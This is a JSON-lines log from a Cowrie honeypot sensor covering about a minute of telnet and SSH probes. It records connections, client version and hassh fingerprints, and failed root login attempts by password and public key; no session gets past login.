{"eventid":"cowrie.session.closed","duration":55.97106647491455,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:45:55.746015Z","src_ip":"152.42.224.71","session":"4bd95035826e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41144,"dst_ip":"10.17.0.5","dst_port":23,"session":"a0f36a22246d","protocol":"telnet","message":"New connection: 152.42.224.71:41144 (10.17.0.5:23) [session: a0f36a22246d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:45:55.891027Z"}
{"eventid":"cowrie.session.closed","duration":49.80475997924805,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:46:02.135154Z","src_ip":"152.42.224.71","session":"47d9bab65c0a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.90915489196777,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:46:09.373145Z","src_ip":"152.42.224.71","session":"5b375e65b4d3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41644,"dst_ip":"10.17.0.5","dst_port":23,"session":"8310144ea85e","protocol":"telnet","message":"New connection: 152.42.224.71:41644 (10.17.0.5:23) [session: 8310144ea85e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:46:10.202069Z"}
{"eventid":"cowrie.session.closed","duration":120.00768947601318,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:46:16.655112Z","src_ip":"152.42.224.71","session":"d4c015a0671d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.170.125","src_port":41720,"dst_ip":"10.17.0.5","dst_port":22,"session":"4a4f937feb0e","protocol":"ssh","message":"New connection: 103.149.170.125:41720 (10.17.0.5:22) [session: 4a4f937feb0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:46:22.548020Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:46:22.553119Z","src_ip":"103.149.170.125","session":"4a4f937feb0e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:46:22.813788Z","src_ip":"103.149.170.125","session":"4a4f937feb0e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dddddd","message":"login attempt [root/dddddd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:46:23.602530Z","src_ip":"103.149.170.125","session":"4a4f937feb0e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:46:24.871500Z","src_ip":"103.149.170.125","session":"4a4f937feb0e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0058114528656,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:46:30.238031Z","src_ip":"152.42.224.71","session":"90c42069041d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47974,"dst_ip":"10.17.0.5","dst_port":23,"session":"1c5acf8c0fdc","protocol":"telnet","message":"New connection: 152.42.224.71:47974 (10.17.0.5:23) [session: 1c5acf8c0fdc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:46:32.436454Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47986,"dst_ip":"10.17.0.5","dst_port":23,"session":"3a481c4b5eaa","protocol":"telnet","message":"New connection: 152.42.224.71:47986 (10.17.0.5:23) [session: 3a481c4b5eaa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:46:35.043582Z"}
{"eventid":"cowrie.session.closed","duration":41.87999939918518,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:46:35.719607Z","src_ip":"152.42.224.71","session":"1b74079e798e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37492,"dst_ip":"10.17.0.5","dst_port":23,"session":"8604dbd776e5","protocol":"telnet","message":"New connection: 152.42.224.71:37492 (10.17.0.5:23) [session: 8604dbd776e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:46:35.903602Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.7.127.99","src_port":64122,"dst_ip":"10.17.0.5","dst_port":22,"session":"a837a00dc0c2","protocol":"ssh","message":"New connection: 50.7.127.99:64122 (10.17.0.5:22) [session: a837a00dc0c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:46:37.360814Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:46:37.365472Z","src_ip":"50.7.127.99","session":"a837a00dc0c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:46:37.454978Z","src_ip":"50.7.127.99","session":"a837a00dc0c2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"95:2a:23:60:2f:15:53:57:e6:4c:6a:6a:b5:2f:0a:b1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCWu1C5nkg0T0W/ki0hoqzeSi97VpBQlgVy1sNfiVMdWNaFVxBCW/ZYn8r6RJmkm2cCJhthCrTGkHT6HyqT7glFHjP07rHFWG6e8rMKDt/8AK2g45ohhJgNu1Sh2RxlWf9iicehkyc0gO/mHtHRAusZT8sOZ3vMgLPKI+tDqLZVSOhj6PunPMPjUldtxps7MOMeFKp/j5p/s3oVViVfqBrQ2JskZs6ypdf/xwqVqKeBoJCW/t4Y1ovEFhgffK+133Q2M6q2Xon08jX3ccg7ouauSupvNPeFCYObyFwfF8k6HCDXxm/L1gjzI2aMgQaIaXJG474SG4ciOwla1AMza2D23HsJg2T2pzW0I/quVgLrV9EbP0fgmehRkT0F/u6FzIL0sxxB66HIGjoDw40tBmeQZyoShyGBg7cB8/88J+klCm+cZxBAtRGWakXIIvIazYZFQbKt6LGFwQFraBhjBJuhX3phA7vAFzGyjRuvqaumHCAbmRo9PJrRS1JqyYEna98vHhD+/JtJQHfHStV3WHkh8+TODJ+CVvj4ztq5WnjW66NB9NGU7/xgLwv7O6CIToft4b3VhkJp/NiYV93vUmZUfUqdWjkHl4ww/1WiRgoAx0wYWd4Wp+H/Vb8r+HU1EnOp/BIs3l/NMHIEaPJGkYiz2sDdDZGAoJjEjzSbnljNcQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 95:2a:23:60:2f:15:53:57:e6:4c:6a:6a:b5:2f:0a:b1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:46:37.854095Z","src_ip":"50.7.127.99","session":"a837a00dc0c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"95:2a:23:60:2f:15:53:57:e6:4c:6a:6a:b5:2f:0a:b1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCWu1C5nkg0T0W/ki0hoqzeSi97VpBQlgVy1sNfiVMdWNaFVxBCW/ZYn8r6RJmkm2cCJhthCrTGkHT6HyqT7glFHjP07rHFWG6e8rMKDt/8AK2g45ohhJgNu1Sh2RxlWf9iicehkyc0gO/mHtHRAusZT8sOZ3vMgLPKI+tDqLZVSOhj6PunPMPjUldtxps7MOMeFKp/j5p/s3oVViVfqBrQ2JskZs6ypdf/xwqVqKeBoJCW/t4Y1ovEFhgffK+133Q2M6q2Xon08jX3ccg7ouauSupvNPeFCYObyFwfF8k6HCDXxm/L1gjzI2aMgQaIaXJG474SG4ciOwla1AMza2D23HsJg2T2pzW0I/quVgLrV9EbP0fgmehRkT0F/u6FzIL0sxxB66HIGjoDw40tBmeQZyoShyGBg7cB8/88J+klCm+cZxBAtRGWakXIIvIazYZFQbKt6LGFwQFraBhjBJuhX3phA7vAFzGyjRuvqaumHCAbmRo9PJrRS1JqyYEna98vHhD+/JtJQHfHStV3WHkh8+TODJ+CVvj4ztq5WnjW66NB9NGU7/xgLwv7O6CIToft4b3VhkJp/NiYV93vUmZUfUqdWjkHl4ww/1WiRgoAx0wYWd4Wp+H/Vb8r+HU1EnOp/BIs3l/NMHIEaPJGkYiz2sDdDZGAoJjEjzSbnljNcQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:46:37.862287Z","src_ip":"50.7.127.99","session":"a837a00dc0c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":27.721999883651733,"message":"Connection lost after 27 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:46:37.923953Z","src_ip":"152.42.224.71","session":"8310144ea85e","protocol":"telnet"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"04:1f:bc:b1:f4:71:af:25:25:94:94:f1:6b:41:21:e6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA58RvSMY/ChxSmSmfjJQFq9bT98MeMvMkVldgHbz/kyjg34Yf95LOdlBbKErbLtYnf0SAgwHkh44kjQuTmRL0r1FHLBkcWlqyugetVxvgvS05llUwlQotnjk7aKf0EQz3bRRGo3sfMStMlEma4mRWx1TqF1Uxr/0EtybTW7fUaD9wiEK2b8+uO65NpGBwnkLT9LF4yAoPnxwYM+xGYL4VGVEk9uGcj6NEaP5hyHTSK//pfRamp5/KbUN9K8F02L8+QEK+CDwRt143TkQp1ue85SHid6SN05/72YcULeH6frm/3nrFLulmlGEjSrdCLVMF3UOrE0r/8grqc4RwsxZC6Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 04:1f:bc:b1:f4:71:af:25:25:94:94:f1:6b:41:21:e6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:46:37.948815Z","src_ip":"50.7.127.99","session":"a837a00dc0c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"04:1f:bc:b1:f4:71:af:25:25:94:94:f1:6b:41:21:e6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA58RvSMY/ChxSmSmfjJQFq9bT98MeMvMkVldgHbz/kyjg34Yf95LOdlBbKErbLtYnf0SAgwHkh44kjQuTmRL0r1FHLBkcWlqyugetVxvgvS05llUwlQotnjk7aKf0EQz3bRRGo3sfMStMlEma4mRWx1TqF1Uxr/0EtybTW7fUaD9wiEK2b8+uO65NpGBwnkLT9LF4yAoPnxwYM+xGYL4VGVEk9uGcj6NEaP5hyHTSK//pfRamp5/KbUN9K8F02L8+QEK+CDwRt143TkQp1ue85SHid6SN05/72YcULeH6frm/3nrFLulmlGEjSrdCLVMF3UOrE0r/8grqc4RwsxZC6Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:46:37.952285Z","src_ip":"50.7.127.99","session":"a837a00dc0c2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"36:a0:39:21:c9:7d:d2:81:d1:73:b0:56:7a:e0:f5:14","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAOAJKO3HXgHbBYlhUoa4nUBdN+prJrQzAbKRyvd5D6SyF3OVAytrCOgfqu+QKri4vAJDd91D65Z6c/3sFjliRRagmGUhc7cN4gJylKSadR18poLLkcO8UE6QqVAroBpq7et4/Vn5w/wGXY7v0bSS0fDLQ9KXndiM2a5XPBXBMXTrAAAAFQDpnS4Nqmpyr0gq2DtvIhRDO7C3ZwAAAIAllVBIulFGYYSyfNsI8LJk9HOzYM2hnKjaUSpMlC5GSgKpHf9uJ3q2wLx7oiZ+YYScqfDOcAVgQjWRb6BhHjZY6hb3rko9BAfn3rwYJGcr/9nJtYw+vyUEflZWJ77kfuUKgLwQWK/y6TdWoHI55wLB1iQcKuYZcTE3PMwrKCpk+gAAAIAZ+AXlXbzZk69lfoHHoiMBZXUVzz8dlFAMg02s1taxZVAZ7kzWQjtzblfBY/8ZGT6Ui5hX0f7HbXkyX8lVyOm1li8B6m0WNPzTxUYIZSsRfs5wXU+fhnDHbECdekMKAjBiAZ3wafuM7dFK+EMZ4hz51QlVZVFklDpSuQyQvcaPpQ==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 36:a0:39:21:c9:7d:d2:81:d1:73:b0:56:7a:e0:f5:14","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:46:38.036918Z","src_ip":"50.7.127.99","session":"a837a00dc0c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"36:a0:39:21:c9:7d:d2:81:d1:73:b0:56:7a:e0:f5:14","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAOAJKO3HXgHbBYlhUoa4nUBdN+prJrQzAbKRyvd5D6SyF3OVAytrCOgfqu+QKri4vAJDd91D65Z6c/3sFjliRRagmGUhc7cN4gJylKSadR18poLLkcO8UE6QqVAroBpq7et4/Vn5w/wGXY7v0bSS0fDLQ9KXndiM2a5XPBXBMXTrAAAAFQDpnS4Nqmpyr0gq2DtvIhRDO7C3ZwAAAIAllVBIulFGYYSyfNsI8LJk9HOzYM2hnKjaUSpMlC5GSgKpHf9uJ3q2wLx7oiZ+YYScqfDOcAVgQjWRb6BhHjZY6hb3rko9BAfn3rwYJGcr/9nJtYw+vyUEflZWJ77kfuUKgLwQWK/y6TdWoHI55wLB1iQcKuYZcTE3PMwrKCpk+gAAAIAZ+AXlXbzZk69lfoHHoiMBZXUVzz8dlFAMg02s1taxZVAZ7kzWQjtzblfBY/8ZGT6Ui5hX0f7HbXkyX8lVyOm1li8B6m0WNPzTxUYIZSsRfs5wXU+fhnDHbECdekMKAjBiAZ3wafuM7dFK+EMZ4hz51QlVZVFklDpSuQyQvcaPpQ==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:46:38.040356Z","src_ip":"50.7.127.99","session":"a837a00dc0c2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"40:81:56:ae:03:56:5b:b1:70:a6:df:91:c5:08:36:bd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDQrbvEqpSmzfo078Z/wTrWI+Q80Cd/1UuN3x7uhWJHjYA14n1xerFq2XfAoGFZ7WFSSjyblnLoh+IMw9lgOFC+TJfg9R4h8Sb0ugFcFegilhvWjIt+VV1KTd1REWPTGz0zffHQdy1d9njBLu5je3kYF5AhlXSTkwiOABlw8nkWSE5o3/NGsLoeNzaOZ6wfcLtqsw930ej5KqZoAjbkg71p5G0Gtb8AXrE+58vguh2luuqYwOlqL5VN5Ce6pUGQ/jJAX8LaOhye9ziG1+3cT9Ij41z0S9hDHW6EDnJpFQ/reylTtMOdoDMvd8uZ0ts0gN0yDgqjbSvm/tXW84dOA8hl","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 40:81:56:ae:03:56:5b:b1:70:a6:df:91:c5:08:36:bd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:46:38.124905Z","src_ip":"50.7.127.99","session":"a837a00dc0c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"40:81:56:ae:03:56:5b:b1:70:a6:df:91:c5:08:36:bd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDQrbvEqpSmzfo078Z/wTrWI+Q80Cd/1UuN3x7uhWJHjYA14n1xerFq2XfAoGFZ7WFSSjyblnLoh+IMw9lgOFC+TJfg9R4h8Sb0ugFcFegilhvWjIt+VV1KTd1REWPTGz0zffHQdy1d9njBLu5je3kYF5AhlXSTkwiOABlw8nkWSE5o3/NGsLoeNzaOZ6wfcLtqsw930ej5KqZoAjbkg71p5G0Gtb8AXrE+58vguh2luuqYwOlqL5VN5Ce6pUGQ/jJAX8LaOhye9ziG1+3cT9Ij41z0S9hDHW6EDnJpFQ/reylTtMOdoDMvd8uZ0ts0gN0yDgqjbSvm/tXW84dOA8hl","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:46:38.129121Z","src_ip":"50.7.127.99","session":"a837a00dc0c2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"79:db:c9:00:1c:cf:52:61:c0:b2:a3:f6:15:9c:de:f1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA2UiR2QjCocbRWqi7IHCXC21dMzX8igBaHFiHnH7dSufW77KOt/S+1SA6/S8So+O0/RebkZxOvHOCRtPAJVJ6WtOMMXgv227rL0SencAIPFC0n5myc6sHKTIChHhi0gr2XWSp7mnpBXyZT7JwIPkb7K6Z87Y7xoWVxKxJ3MK3LnWnHWiHk/zXoCcoLlVy1p9Wpp39fx9Lo4SgjKRteoG7aOTWXjHNcRzhRjKGSWQpcj7PH8+HCa8Z8d+zig53R/UP5OzofC5J1ah8o8/55AFvVCqmvhaykGN22V68PlBoU0FqLanVTm+ywYgxPtp3pVWWNZNi4fsgVmuuzXVXP47b0w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 79:db:c9:00:1c:cf:52:61:c0:b2:a3:f6:15:9c:de:f1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:46:38.214928Z","src_ip":"50.7.127.99","session":"a837a00dc0c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"79:db:c9:00:1c:cf:52:61:c0:b2:a3:f6:15:9c:de:f1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA2UiR2QjCocbRWqi7IHCXC21dMzX8igBaHFiHnH7dSufW77KOt/S+1SA6/S8So+O0/RebkZxOvHOCRtPAJVJ6WtOMMXgv227rL0SencAIPFC0n5myc6sHKTIChHhi0gr2XWSp7mnpBXyZT7JwIPkb7K6Z87Y7xoWVxKxJ3MK3LnWnHWiHk/zXoCcoLlVy1p9Wpp39fx9Lo4SgjKRteoG7aOTWXjHNcRzhRjKGSWQpcj7PH8+HCa8Z8d+zig53R/UP5OzofC5J1ah8o8/55AFvVCqmvhaykGN22V68PlBoU0FqLanVTm+ywYgxPtp3pVWWNZNi4fsgVmuuzXVXP47b0w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:46:38.218941Z","src_ip":"50.7.127.99","session":"a837a00dc0c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:46:38.306064Z","src_ip":"50.7.127.99","session":"a837a00dc0c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37504,"dst_ip":"10.17.0.5","dst_port":23,"session":"b6ca927a28f2","protocol":"telnet","message":"New connection: 152.42.224.71:37504 (10.17.0.5:23) [session: b6ca927a28f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:46:41.305028Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37516,"dst_ip":"10.17.0.5","dst_port":23,"session":"56d2faf98b4c","protocol":"telnet","message":"New connection: 152.42.224.71:37516 (10.17.0.5:23) [session: 56d2faf98b4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:46:45.827474Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":42364,"dst_ip":"159.203.135.109","dst_port":22,"session":"72c5c6d17bec","protocol":"ssh","message":"New connection: 103.82.132.16:42364 (159.203.135.109:22) [session: 72c5c6d17bec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:46:49.219512Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:46:49.223449Z","src_ip":"103.82.132.16","session":"72c5c6d17bec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:46:49.479524Z","src_ip":"103.82.132.16","session":"72c5c6d17bec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52730,"dst_ip":"10.17.0.5","dst_port":23,"session":"f0e7db73feaf","protocol":"telnet","message":"New connection: 152.42.224.71:52730 (10.17.0.5:23) [session: f0e7db73feaf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:46:49.752681Z"}
